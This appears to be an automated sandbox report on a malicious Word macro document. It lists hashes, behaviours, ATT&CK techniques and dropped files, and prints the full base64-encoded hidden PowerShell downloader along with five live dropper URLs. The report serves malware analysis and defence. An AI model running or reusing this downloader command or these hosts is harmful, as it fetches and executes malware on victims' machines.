d0aa4009261cd6a957ca054a533007972207d6a1b16452c9ccc164e886dd467c

General

Target

d0aa4009261cd6a957ca054a533007972207d6a1b16452c9ccc164e886dd467c.doc
Size

113KB
MD5

ed2b42212cd661d7495a079f56418d0c
SHA1

6c9e3473cd1bf4e8d4d4f41c111fe1fc8c0afa35
SHA256

d0aa4009261cd6a957ca054a533007972207d6a1b16452c9ccc164e886dd467c
SHA512

5370aa5a2d187b7fe870008e9a753d692583a14a719f20afe9ca37b0b3ba54fef7e86bb23937aba51e9857742e39c57dd5bd8b261f1c10b5e46cc03fae960f62
SSDEEP

1536:bw9kKPubsYwKjtrzu5rGBmRoHynvwMMITLxQOa5tzLEOTsPfxIdxrtgA:0+KgdzSrGYKyIwLx3a4OTsnxA9

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://sinergica.es/wp-admin/wKzoXKb/

exe.dropper

http://anselton.com/cgi-bin/vEmYPW/

exe.dropper

http://megaone.ir/mukcrl/OljlRgz/

exe.dropper

http://design.jmcnet.com/wp-includes/a2pp6-uvy09ezl-9235065556/

exe.dropper

https://www.espacoestela.com/6l943im/cZlyyCT/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4244 216 Powershell.exe
Blocklisted process makes network request 4 IoCs

Processes:

Powershell.exe

flow pid process

24 4244 Powershell.exe
26 4244 Powershell.exe
29 4244 Powershell.exe
34 4244 Powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

Powershell.exe

pid process

4244 Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4244	216	Powershell.exe

flow	pid	process
24	4244	Powershell.exe
26	4244	Powershell.exe
29	4244	Powershell.exe
34	4244	Powershell.exe

pid	process
4244	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1184 WINWORD.EXE
1184 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

Powershell.exe

pid process

4244 Powershell.exe
4244 Powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 4244 Powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

1184 WINWORD.EXE
1184 WINWORD.EXE
1184 WINWORD.EXE
1184 WINWORD.EXE
1184 WINWORD.EXE
1184 WINWORD.EXE
1184 WINWORD.EXE

pid	process
1184	WINWORD.EXE
1184	WINWORD.EXE

pid	process
4244	Powershell.exe
4244	Powershell.exe

description	pid	process
Token: SeDebugPrivilege	4244	Powershell.exe

pid	process
1184	WINWORD.EXE
1184	WINWORD.EXE
1184	WINWORD.EXE
1184	WINWORD.EXE
1184	WINWORD.EXE
1184	WINWORD.EXE
1184	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 1184 wrote to memory of 4972	1184	WINWORD.EXE	splwow64.exe
PID 1184 wrote to memory of 4972	1184	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d0aa4009261cd6a957ca054a533007972207d6a1b16452c9ccc164e886dd467c.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1184
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:4972

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABLAGwAbwB5AGwAZABzAHUAPQAnAE0AcwBiAGUAaQBnAGQAZAB2AGQAawBwAGoAJwA7ACQARQBvAHUAZgBjAHIAcgByAHMAaQAgAD0AIAAnADQANgAzACcAOwAkAFYAbQBqAHkAdgBrAGUAZABhAG0AegB0AD0AJwBVAHkAYwBoAGMAYgBlAHgAagBsAG8AbwAnADsAJABPAHQAdQBoAGsAeQBuAHIAZwB3AG4APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAbwB1AGYAYwByAHIAcgBzAGkAKwAnAC4AZQB4AGUAJwA7ACQAVAB1AGMAYwBoAHUAaQBnAGwAbAA9ACcATwB5AGUAdwBoAGsAagBjACcAOwAkAFMAeQBsAG0AYwBhAGcAaQBtAHoAcAA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAHQALgBXAGUAQgBjAGwASQBFAG4AVAA7ACQAQwB4AHYAYQBrAGYAbgBpAHAAPQAnAGgAdAB0AHAAcwA6AC8ALwBzAGkAbgBlAHIAZwBpAGMAYQAuAGUAcwAvAHcAcAAtAGEAZABtAGkAbgAvAHcASwB6AG8AWABLAGIALwAqAGgAdAB0AHAAOgAvAC8AYQBuAHMAZQBsAHQAbwBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AdgBFAG0AWQBQAFcALwAqAGgAdAB0AHAAOgAvAC8AbQBlAGcAYQBvAG4AZQAuAGkAcgAvAG0AdQBrAGMAcgBsAC8ATwBsAGoAbABSAGcAegAvACoAaAB0AHQAcAA6AC8ALwBkAGUAcwBpAGcAbgAuAGoAbQBjAG4AZQB0AC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBhADIAcABwADYALQB1AHYAeQAwADkAZQB6AGwALQA5ADIAMwA1ADAANgA1ADUANQA2AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBlAHMAcABhAGMAbwBlAHMAdABlAGwAYQAuAGMAbwBtAC8ANgBsADkANAAzAGkAbQAvAGMAWgBsAHkAeQBDAFQALwAnAC4AIgBzAFAAYABsAGkAVAAiACgAJwAqACcAKQA7ACQATQBjAGoAcABuAHgAZAB5AGsAaAA9ACcASgBmAGsAdwBsAGEAawBvAG4AcgBnAGEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFUAawByAHEAZQBiAG4AYQBrAHcAeQBlACAAaQBuACAAJABDAHgAdgBhAGsAZgBuAGkAcAApAHsAdAByAHkAewAkAFMAeQBsAG0AYwBhAGcAaQBtAHoAcAAuACIARABvAHcAbgBgAEwATwBBAGQAZgBgAEkAbABFACIAKAAkAFUAawByAHEAZQBiAG4AYQBrAHcAeQBlACwAIAAkAE8AdAB1AGgAawB5AG4AcgBnAHcAbgApADsAJABUAG0AZQBkAGUAbABlAGgAaQA9ACcAUwBoAGsAZABuAGEAcwBlAHgAbwB5AGwAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACAAJABPAHQAdQBoAGsAeQBuAHIAZwB3AG4AKQAuACIAbABlAG4AZwBgAFQASAAiACAALQBnAGUAIAAyADgANAA3ADMAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBUAGAAQQByAFQAIgAoACQATwB0AHUAaABrAHkAbgByAGcAdwBuACkAOwAkAFMAdQB5AHYAdgBqAGMAaABkAHEAPQAnAEMAbABuAGMAeABrAGQAcwBzACcAOwBiAHIAZQBhAGsAOwAkAFoAcgBvAHYAcAByAHYAYgB0AGUAPQAnAEoAaQBtAGYAagBxAHoAZwBtAHQAdABwACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAYgBiAGkAaABxAHMAagB6AGUAPQAnAE0AcABpAHAAYQBjAGcAcwBkAHUAawAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4244

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\551EDE3A.wmf

Filesize
444B

MD5
ddffaac8235776cee15c87b28d903cdf

SHA1
1d1778b9e1b8860b583018160bc16c0814898389

SHA256
3d116829e1e4c2886fd8c13679d93cf10f70384f03249eaec1e61e8964f99fc0

SHA512
68113f387a718823468d0866fc72c57218d4e8c3ef0dec2baffa32a433495d4ef5e5c5c759a7c9651e68e3b72c352c18ccb15cf2e3b083056019e8dd95deeca3

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDE0A4.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_abl4i55p.ez1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
3KB

MD5
b14ae90c31ad889e6e16ca7eb01c96fc

SHA1
44ae19fa9ad9e481103b5d704d6be0d9145a8918

SHA256
ab98c1d46d2935d26e69b3455fb212d4cabcb6b2e569005e6bab22b1046dc58c

SHA512
b0e00f8cedbe8e3280685ee7e75afc87795b0646139b3e5d4cdb0eec645af061bd14ce9fd133b30c94300e8b07919e980a3f1bde54646efb4135def9cdc82680

Download Submit
memory/1184-19-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/1184-9-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/1184-8-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/1184-10-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/1184-12-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/1184-13-0x00007FF9650C0000-0x00007FF9650D0000-memory.dmp

Filesize
64KB

Download
memory/1184-11-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/1184-14-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/1184-16-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/1184-17-0x00007FF9650C0000-0x00007FF9650D0000-memory.dmp

Filesize
64KB

Download
memory/1184-1-0x00007FF9A78CD000-0x00007FF9A78CE000-memory.dmp

Filesize
4KB

Download
memory/1184-18-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/1184-15-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/1184-6-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/1184-7-0x00007FF9678B0000-0x00007FF9678C0000-memory.dmp

Filesize
64KB

Download
memory/1184-5-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/1184-2-0x00007FF9678B0000-0x00007FF9678C0000-memory.dmp

Filesize
64KB

Download
memory/1184-0-0x00007FF9678B0000-0x00007FF9678C0000-memory.dmp

Filesize
64KB

Download
memory/1184-4-0x00007FF9678B0000-0x00007FF9678C0000-memory.dmp

Filesize
64KB

Download
memory/1184-64-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/1184-65-0x00007FF9A78CD000-0x00007FF9A78CE000-memory.dmp

Filesize
4KB

Download
memory/1184-66-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/1184-69-0x00007FF9A7830000-0x00007FF9A7A25000-memory.dmp

Filesize
2.0MB

Download
memory/1184-3-0x00007FF9678B0000-0x00007FF9678C0000-memory.dmp

Filesize
64KB

Download
memory/4244-56-0x0000022D9AB00000-0x0000022D9AB22000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads